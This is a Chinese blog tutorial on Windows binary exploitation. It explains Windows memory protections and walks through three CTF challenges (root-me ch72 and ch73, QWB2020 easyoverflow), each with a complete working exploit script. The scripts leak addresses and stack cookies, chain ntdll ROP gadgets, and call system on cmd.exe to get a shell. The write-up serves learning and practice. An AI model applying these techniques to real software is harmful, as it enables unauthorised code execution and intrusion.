Windows pwn 入门

henry Lv4

Windows pwn

Reference

https://xz.aliyun.com/t/11865?time__1311=mqmx0DBD9DyDnDfx4BuQx20Uiph2SDIrhiD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F62994

环境搭建

网上找个 Win10 专业版安装就行

安装winpwn

1
2
3
4
pip3 install winpwn
pip3 install pefile
pip3 install keystone-engine
pip3 install install capstone

安装windbg

可以直接在商店安装

windows 保护机制

NX:这个在win上其实是DEP,堆栈不可执行保护

Canary:这个在win上其实是GS,可能这个工具的开发者为了让我们更好理解才写了Canary,但是需要注意的是这个工具的canary检测可能检测不准

ASLR:通俗讲就是地址随机化,让exe和dll的地址全部随机,所以就有了大名鼎鼎Heap Spray(堆喷)利用技术,Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能

High Entropy VA:如果指定此选项,则当内核将进程的地址空间布局随机化为 ASLR 的一部分时,兼容版本的 Windows 内核可以使用更高的熵。 如果内核使用更高的熵,则可以将更多的地址分配给堆栈和堆等内存区域。 因此,更难猜测特定内存区域的位置。当该选项打开时,当这些模块作为 64 位进程运行时,目标可执行文件和它所依赖的任何模块必须能够处理大于 4 GB 的指针值。

SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术。SEH 是 Windows操作系统的一种系统机制,本身与具体的程序设计语言无关。SEH 为Windows的设计者提供了程序错误或异常的处理途径,使得系统更加健壮

SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。不过SafeSEH需要编译器和系统双重支持,缺少一个则保护能力基本就丧失了

Force Integrity:强制签名保护

Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难

Isolation:隔离保护,默认会开启

Authenticode:签名保护

以上是checksec的每个保护机制的简要解释,看到这里可能还会迷迷糊糊的,后续的win pwn文章利用会有绕过这些保护,到时候会详细的解释,包括什么是TIB,TEB等

ssh 远程连接

https://www.cnblogs.com/sunchong/p/10171870.html

例题

stack overflow

题目地址

题目下载命令

1
scp -P 2225 app-systeme-ch72@challenge05.root-me.org:/challenge/app-systeme/ch72/ch72.exe /home/henry/Documents

nipaste_2024-05-14_10-30-2

输入密码 app-systeme-ch72 就可以下载到本地。

检查保护

nipaste_2024-05-14_12-51-3

检查中显示开了 canary,不过在 ida 中没有看到,以ida为准,可能这个 checksec 还是有一些不准。

nipaste_2024-05-14_12-55-4

通过分析程序,可以发现程序中是给了一个后门函数的

nipaste_2024-05-14_12-58-0

这就相当于是 ret2text 了,通过设置payload如下,就可以获取到 shell:

1
2
payload  = 'a' * (0x14 + 4)
payload += p32(0x401000)

最终效果如下所示

nipaste_2024-05-14_12-59-4

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from winpwn import *
from time import *

context.log_level='debug'
context.arch='i386'

file_name = './ch72.exe'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
# r.sendline('C:\\Windows\\system32\\cmd.exe')

r.interactive()

利用 pwntools 写exp

Win Server ,可以像搭建pwn题一样,把exe给映射到一个端口上

nipaste_2024-05-14_13-35-4

这样通过使用 pwntools 中的工具也是可以直接打通的

nipaste_2024-05-14_13-36-4

不过显示可能会出现乱码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from time import *

context.log_level='debug'
context.arch='i386'

file_name = './ch72.exe'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('192.168.127.141', 1234)
else:
r = process(file_name)

payload = b'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
# r.sendline('C:\\Windows\\system32\\cmd.exe')

r.interactive()

windbg 调试

通过 pause 将程序断住,然后在 windbg 里面 attach 进程就好了

nipaste_2024-05-14_13-53-5

可以看到程序已经可以成功断住

nipaste_2024-05-14_13-55-1

执行下面两个指令,就可以在断点处停下来了,记得这时候

nipaste_2024-05-14_13-54-3

查看返回地址可以发现已经被我们覆盖为了后门函数的地址,运行即可 getshell。

nipaste_2024-05-14_13-59-0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from winpwn import *
from time import *

context.log_level='debug'
context.arch='i386'

file_name = './ch72.exe'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

pause() # 将程序卡在这里
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
# r.sendline('C:\\Windows\\system32\\cmd.exe')

r.interactive()

利用winpwn模块进行调试

命令如下:

1
windbgx.attach(io, 'bp 0x14000109B')

利用 winpwn 模块进行调试时,需要在该目录下面添加一个 .winpwn 配置文件。

nipaste_2024-05-15_10-25-4

文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"debugger":{
"i386": {
"x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x32\\x32dbg.exe",
"gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-686\\mingw32\\bin\\gdb.exe",
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe",
"windbgx": "C:\\Users\\henry\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe"
},
"amd64": {
"x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x64\\x64dbg.exe",
"gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-64\\mingw64\\bin\\gdb64.exe",
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe",
"windbgx": "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe"
}
},
"debugger_init": {
"i386": {
"x64dbg": "",
"gdb": "",
"windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;",
"windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;"
},
"amd64": {
"x64dbg": "",
"gdb": "",
"windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;",
"windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;"
}
}
}

根据自己的需求改就行了,比如说我这里想调用 windbgX,只需要把 windbgx 的路径写到第 7 行就行。

windbg 带符号调试

source:https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/

这里建议配置一下调试符号表的下载,由于现在墙的限制和windows对很多符号表已经取消开放了,所以很多系统库文件已经没有符号表了。但是对已有的,加载了符号表后,调试还是很方便的。符号表配置方法如下:

首先在windbgsymbol file path中添加符号表本地缓存的路径和远程的符号服务器:

srv*c:\MySymbols*https://msdl.microsoft.com/download/symbols

随后在windbg命令行中输入:.reload即可重新加载符号文件(**注意:**这里由于墙的原因,所以需要梯子)

1
2
3
4
5
6
7
.sympath   // 查看当前符号查找路径
.sympath c:\symbols // 将符号查找路径设为:c:\symbols
.sympath+ c:\symbols // 将c:\symbols添加到符号查找路径集合中

.reload // 为所有已加载模块载入符号信息
.reload /f /v // f:强制立即模式(不允许延迟载入) v:详细模式
.reload /f @"c:\windows\System32\verifier.dll" // 为指定模块加载符号信息

例题

ret2dll

进程资源管理器 这个工具查看程序加载的dll有哪些,这里我们对上一题 ch72 的依赖进行查看,如下图所示

nipaste_2024-05-14_14-08-2

常见 dll

常见的 dll 有:ntdll.dll, kernel32.dll, KernelBase.dll, ucrtbase.dll

  • ntdll.dll:ntdll.dll是重要的Windows NT内核级文件。描述了windows本地NTAPI的接口。当Windows启动时,ntdll.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。是Windows系统从ring3 到 ring0 的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在ring0中
  • kernel32.dll:kernel32.dll是非常重要的32位动态链接库文件,属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域
  • KernelBase.dll:系统文件kernelbase.dll是存放在Windows系统文件夹中的重要文件,通常情况下是在安装操作系统过程中自动创建的,对于系统正常运行来说至关重要
  • ucrtbase.dll:在介绍ucrtbase.dll前先看一下msvcrt.dll是啥,msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件(Microsoft Visual C Runtime Library),其中提供了printf,malloc,strcpy等C语言库函数的具体运行实现,这个和libc.so很像。ucrtbase.dll其实就是把msvcrt.dll拆开了,主要的c运行时的代码放在了ucrtbase.dll

nipaste_2024-05-14_14-43-0

题目下载

1
scp -P 2225 app-systeme-ch73@challenge05.root-me.org:/challenge/app-systeme/ch73/ch73.exe /home/henry/Documents

检查保护

nipaste_2024-05-14_15-14-5

静态分析

nipaste_2024-05-14_17-46-5

调试带参数的程序设置如下:

nipaste_2024-05-14_17-43-3

不知道为什么一开始还行,但是后面就只能设置绝对路径才能打开成功。

nipaste_2024-05-14_21-44-5

动态分析

step.1 泄露出 file pointer 值

这个值也就是上面静态分析中的 v11 存储的值,如果我们直接覆盖,会导致后面 close 崩溃。

nipaste_2024-05-14_21-50-5

经过测试,这个值在程序每次启动后的值都是一样的,只有当机器关了重启之后,该值会被重置。

step.2 泄露出 dll_base

这个值可以理解为是 libc_base,与在 linux 中一样,我们可以通过 printf,puts 这种函数来进行泄露地址。在 win 中是没有 plt 和 got 表的,但是 PE 中有两个差不多和这个等价的。

下图 idata 节处存储的即为对应函数的 dll 中的地址,只有当执行时,对应的地址将会写在这里(直接理解为 got 表就完事了)。

nipaste_2024-05-14_21-53-4

这里不多说,相应的类似于 plt 表的功能。

nipaste_2024-05-14_21-56-2

通过下面的 payload 我们就可以完成泄露地址信息

1
payload += p32(0xdeadbeef) + p32(printf_plt) + p32(0xdeadbeef) + p32(printf_got)

nipaste_2024-05-14_20-20-3

step.3 计算出 system,cmd.exe,劫持执行流

1
2
3
4
5
6
7
8
9
10
printf_addr = 0x756f4cb0
dll_base = printf_addr - 0x10174CB0
_system = dll_base + 0x10143D30
cmd_addr = dll_base + 0x101047A4

payload = 'a'*0x2008
payload += p32(file_pointer) # file_pointer
payload += p32(0x4016f1) # same as program
payload += p32(0x28) # same as program
payload += p32(0xdeadbeef) + p32(_system) + p32(0xdeadbeef) + p32(cmd_addr)

这里说一句,这里的 printf_addr 的值和前面 file pointer 类似,只有机器重启,才会重置该值。

注意事项:

除了 processexplorer 可以查程序的依赖库外,windbg 在开始加载程序时,也会输出依赖库信息

nipaste_2024-05-14_22-01-1

这里的 msvcrt.dlllibc.so.6 类似,我们需要在这个库里面找到对应的偏移,我们上面的 dll_base,实际上就是 msvcrt.dll 在内存中加载的基地址。

最后也可以看到,也是在本地成功打通了。

nipaste_2024-05-14_22-03-0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from winpwn import *
from time import *

#--------------------------------------------------------------------
context.log_level='debug'
context.arch='i386'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
file_name = './ch73.exe'
# r = remote()
#--------------------------------------------------------------------
file_pointer = 0x75734660
printf_plt = 0x00402974
printf_got = 0x00406200

payload = 'a'*0x2008
payload += p32(file_pointer) # file_pointer
payload += p32(0x4016f1) # same as program
payload += p32(0x28) # same as program
payload += p32(0xdeadbeef) + p32(printf_plt) + p32(0xdeadbeef) + p32(printf_got)

# payload = [ord(i) for i in payload]
# with open('./test.txt', 'wb') as f:
# f.write(bytes(payload))

#---------------Second P2------------------
printf_addr = 0x756f4cb0
dll_base = printf_addr - 0x10174CB0
_system = dll_base + 0x10143D30
cmd_addr = dll_base + 0x101047A4

payload = 'a'*0x2008
payload += p32(file_pointer) # file_pointer
payload += p32(0x4016f1) # same as program
payload += p32(0x28) # same as program
payload += p32(0xdeadbeef) + p32(_system) + p32(0xdeadbeef) + p32(cmd_addr)

payload = [ord(i) for i in payload]
with open('./test.txt', 'wb') as f:
f.write(bytes(payload))

# io = process([file_name, './test.txt'])
# windbgx.attach(io, 'bp 0x0401762')

# io.interactive()

win传参寄存器

参数先通过寄存器传递,顺序是 rcx rdx r8 r9

显示加载的各模块地址(vmmap)

lwt 指令

例题

qwb2020-easyoverflow

题目地址:easyoverflow

虽然是一道很明显的栈溢出题目,但我在利用的过程中还是感受到了 win 和在 linux 中的不同,win 中保护变得貌似更复杂了点(略微复杂)。

先来看最后效果图,这是本地打通后的

nipaste_2024-05-15_16-39-3

远程用 Win Server 映射端口后,我用 ubuntu 远程打了一下,效果如下:

nipaste_2024-05-15_16-45-1

检查保护

nipaste_2024-05-15_16-46-4

可以看到 NX,canary,aslr,SEH 这些保护都是开了的。

静态分析

nipaste_2024-05-15_16-48-3

可以很明显的看到这里存在溢出,接下来考虑怎么利用了,我们不妨从 linux 的角度先来分析如何利用:

  • 首先我们会通过 puts 泄露 canary
  • 由于有三次 puts 的机会,我们还可以将 DstBuf 填充到返回地址前将泄露程序地址
  • 有了程序地址后,我们就可以劫持执行流,puts 出 got 表中的 libc 地址,在返回到 main 函数
  • 计算出 system,bin_sh 拿 shell

实际上就是一套标准的 ret2libc 的打法,那我们再来看看 win 下我们的利用过程:

  • 首先我们会通过 puts 泄露 canary
  • 由于有三次 puts 的机会,我们还可以将 DstBuf 填充到返回地址前将泄露程序地址
  • 泄露出 ntdll.dll 的地址,来获取 gadget 地址,该地址在栈中,所以可以进行填充泄露
  • 泄露出 security_cookie 的值,win 中 canary = rsp ^ security_cookie
  • puts 出 idata 表中存放的 ucrtbase 地址,在返回到 main 函数
  • 计算出 system,cmd_addr 拿 shell

通过上面的分析我们可以发现,两者之间的区别是在第三步和第四步,但整体的思路仍然是相同的,下面我们就动态调试进一步详细说明。

动态分析

这里先说一下开了 aslr 的程序怎么用 windbg 进行调试,我们下断点的时候,可以通过一个程序名+偏移的方式下断点。

1
bp StackOverflow+0x1000

nipaste_2024-05-15_17-07-4

step.1 leak stack_cookie

nipaste_2024-05-15_17-12-2

通过上面我们可以计算出 DstBuf 和 stack_cookie(rsp ^ security_book) 之间的偏移,118h - 18h = 100h。

nipaste_2024-05-15_17-14-4

1
2
3
4
5
rl("input:")
sd('a' * 0x100)
rl("a"*0x100)
stack_cookie = u64(io.recv(6).ljust(8, '\0'))
li("stack_cookie", stack_cookie)

step.2 leak code_base

其实从上面那里还可以看到程序的返回地址就在离 stack_cookie 不远处,所以我们这一步在泄露出返回地址。

nipaste_2024-05-15_17-16-2

1
2
3
4
5
6
7
8
# step.2 leak code_base
rl("input:")
sd('a' * 0x118)
rl("a"*0x118)
code_addr = u64(io.recv(6).ljust(8, '\0'))
li("code_addr", code_addr)
code_base = code_addr - 0x12f4
li("code_base", code_base)

nipaste_2024-05-15_17-21-2

step.3 leak ntdll_base addr

由于循环总共有三次所以第三次的时候程序会正常退出,所以我们这里需要拥有程序地址的基础上劫持程序的执行流,重新返回到main函数,再次利用栈溢出,并且重新泄露 stack_cookie,原因是劫持之后的 rsp 有所变化,需重新泄露。

1
2
3
4
5
6
7
8
9
10
11
12
# overwrite rip to control flow
main_addr = code_base + 0x1000
rl("input:")
payload = 'a'*0x100 + p64(stack_cookie) + p64(0xdeadbeef)*2 + p64(main_addr)
sd(payload)

# since security_cookie has changed (= rsp ^ cookie) we need leak again
rl("input:")
sd('b' * 0x100)
rl('b' * 0x100)
stack_cookie2 = u64(io.recv(6).ljust(8, '\0'))
li("stack_cookie2", stack_cookie2)

nipaste_2024-05-15_17-22-1

这里需要说明的是,在调用 main 之前 ntdll.dll 的地址,也会保存在栈里,所以在程序 gadget 有限的情况下,我们可以泄露出 ntdll.dll 的地址后,利用该库的 gadget。查看加载库地址命令lwt

nipaste_2024-05-15_17-24-5

可以看到在下面不久处存在一个 ntdll 的地址,同时在上面还有一个 KERNEL32.DLL 中的地址(这道题没用到)。

nipaste_2024-05-15_17-25-3

下面我们就继续泄露出上图中的这个地址

1
2
3
4
5
6
7
8
9
10
11
12
# step.3 leak ntdll_base addr (this addr will be saved in stack when call the main )
sa("input:", 'b' * 0x180)
rl('b' * 0x180)
ntdll_addr = u64(io.recv(6).ljust(8, '\0'))
ntdll_base = ntdll_addr - 0x000526b1
li("ntdll_base", ntdll_base)
# 0x000000018001a853 : pop rcx ; ret
# 0x000000018000137d : pop rbx ; ret
# 0x000000018008c7e7 : pop rdx ; pop r11 ; ret
pop_rcx_ret = ntdll_base + 0x01a853
pop_rbx_ret = ntdll_base + 0x0137d
pop_rdx_r11_ret = ntdll_base + 0x08c7e7

从下图也可以看到我们已经成功填充到了这里,从而就可以完成泄露了。

nipaste_2024-05-15_17-28-2

step.4 leak security_cookie

前面说过 canary 通过 rsp 异或 security_cookie 得到的,所以我们需要想办法泄露出该值,如果不泄露,我们会发现在后面随着布置的 ROP 链的执行,会导致 rsp 动态变化,从而导致会不通过后面的 check_security,security_cookie 值是直接保存在程序中的。

nipaste_2024-05-15_17-33-2

上面的值,在程序加载到内存之后就会发生变化,泄露代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# step.4 leak security_cookie
puts_got = code_base + 0x2180
call_puts = code_base + 0x10A6
security_cookie_addr = code_base + 0x3008
rl("input:")
payload = 'a'*0x100 + p64(stack_cookie2) + p64(0xdeadbeef)*2
# make rbx == 1 to ensure the loop cotinue after puts(security_cookie)
payload += p64(pop_rbx_ret) + p64(1) + p64(pop_rcx_ret) + p64(security_cookie_addr) + p64(call_puts)
sd(payload)

rl('a'*0x100)
rl('\n')
security_cookie = u64(io.recv(6).ljust(8, '\0'))
li("security_cookie", security_cookie)
stack_addr = stack_cookie ^ security_cookie
li("stack_addr", stack_addr)

在有了 security_cookie 之后我们还可以反算得到栈地址,后面会用到。

注意事项:这里之所以要将 rbx 设置为 1,是因为我们后面在执行完 call_puts 之后,依然可以进行一次循环输入payload 的机会,可以在 ida 中看一下这里的反汇编就会明白了。

**step.5 leak ucrtbase_addr **

这一步与前面例题 ret2dll 类似,可以参考上一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# step.5 leak ucrtbase_addr 
# windbgx.attach(io, 'bp StackOverflow+0x10a6')
rsp1 = stack_addr + 0x168
rl("input:")
payload = 'a'*0x100 + p64(rsp1 ^ security_cookie) + p64(0xdeadbeef)*2
payload += p64(pop_rbx_ret) + p64(1) + p64(pop_rcx_ret) + p64(puts_got) + p64(call_puts)
sd(payload)

ucrtbase_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
ucrtbase_addr -= 0x0083d50
li("ucrtbase_addr", ucrtbase_addr)
system = ucrtbase_addr + 0xAE5C0
cmd_addr = ucrtbase_addr + 0xD0CB0
li("system", system)
li("cmd_addr", cmd_addr)

step.6 hijack control flow

1
2
3
4
5
6
7
# step.6 hijack control flow
# windbgx.attach(io, 'bp StackOverflow+0x10a6')
rsp2 = stack_addr + 0x2c8
rl("input:")
payload = 'a'*0x100 + p64(rsp2 ^ security_cookie) + p64(0xdeadbeef)*2
payload += p64(pop_rcx_ret) + p64(cmd_addr) + p64(system)
sd(payload)

最后也是成功跳转到了 system 这里。

nipaste_2024-05-15_17-41-5

效果图:

nipaste_2024-05-15_17-43-3

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from winpwn import *
from time import *

#--------------------------------------------------------------------
context.log_level='debug'
context.arch='i386'
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda content, data: (io.recvuntil(content), io.send(data))
sla = lambda content, data: (io.recvuntil(content), io.sendline(data))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
file_name = './StackOverflow.exe'
io = process([file_name])
# io = remote()
#--------------------------------------------------------------------
# windbgx.attach(io, 'bp StackOverflow+0x10a6')

# step.1 leak stack_cookie
# windbgx.attach(io, 'bp StackOverflow+0x10a6')

rl("input:")
sd('a' * 0x100)
rl("a"*0x100)
stack_cookie = u64(io.recv(6).ljust(8, '\0'))
li("stack_cookie", stack_cookie)

# step.2 leak code_base
rl("input:")
sd('a' * 0x118)
rl("a"*0x118)
code_addr = u64(io.recv(6).ljust(8, '\0'))
li("code_addr", code_addr)
code_base = code_addr - 0x12f4
li("code_base", code_base)


# overwrite rip to control flow
main_addr = code_base + 0x1000
rl("input:")
payload = 'a'*0x100 + p64(stack_cookie) + p64(0xdeadbeef)*2 + p64(main_addr)
sd(payload)

# since security_cookie has changed (= rsp ^ cookie) we need leak again
rl("input:")
sd('b' * 0x100)
rl('b' * 0x100)
stack_cookie2 = u64(io.recv(6).ljust(8, '\0'))
li("stack_cookie2", stack_cookie2)

# step.3 leak ntdll_base addr (this addr will be saved in stack when call the main )
sa("input:", 'b' * 0x180)
rl('b' * 0x180)
ntdll_addr = u64(io.recv(6).ljust(8, '\0'))
ntdll_base = ntdll_addr - 0x000526b1
li("ntdll_base", ntdll_base)
# 0x000000018001a853 : pop rcx ; ret
# 0x000000018000137d : pop rbx ; ret
# 0x000000018008c7e7 : pop rdx ; pop r11 ; ret
pop_rcx_ret = ntdll_base + 0x01a853
pop_rbx_ret = ntdll_base + 0x0137d
pop_rdx_r11_ret = ntdll_base + 0x08c7e7

# step.4 leak security_cookie
puts_got = code_base + 0x2180
call_puts = code_base + 0x10A6
security_cookie_addr = code_base + 0x3008
rl("input:")
payload = 'a'*0x100 + p64(stack_cookie2) + p64(0xdeadbeef)*2
# make rbx == 1 to ensure the loop cotinue after puts(security_cookie)
payload += p64(pop_rbx_ret) + p64(1) + p64(pop_rcx_ret) + p64(security_cookie_addr) + p64(call_puts)
sd(payload)

rl('a'*0x100)
rl('\n')
security_cookie = u64(io.recv(6).ljust(8, '\0'))
li("security_cookie", security_cookie)
stack_addr = stack_cookie ^ security_cookie
li("stack_addr", stack_addr)


# step.5 leak ucrtbase_addr
# windbgx.attach(io, 'bp StackOverflow+0x10a6')
rsp1 = stack_addr + 0x168
rl("input:")
payload = 'a'*0x100 + p64(rsp1 ^ security_cookie) + p64(0xdeadbeef)*2
payload += p64(pop_rbx_ret) + p64(1) + p64(pop_rcx_ret) + p64(puts_got) + p64(call_puts)
sd(payload)

ucrtbase_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
ucrtbase_addr -= 0x0083d50
li("ucrtbase_addr", ucrtbase_addr)
system = ucrtbase_addr + 0xAE5C0
cmd_addr = ucrtbase_addr + 0xD0CB0
li("system", system)
li("cmd_addr", cmd_addr)


# step.6 hijack control flow
# windbgx.attach(io, 'bp StackOverflow+0x10a6')
rsp2 = stack_addr + 0x2c8
rl("input:")
payload = 'a'*0x100 + p64(rsp2 ^ security_cookie) + p64(0xdeadbeef)*2
payload += p64(pop_rcx_ret) + p64(cmd_addr) + p64(system)
sd(payload)

io.interactive()
  • Title: Windows pwn 入门
  • Author: henry
  • Created at : 2024-05-15 17:45:56
  • Updated at : 2024-05-17 21:52:29
  • Link: https://henrymartin262.github.io/2024/05/15/winpwn-入门/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments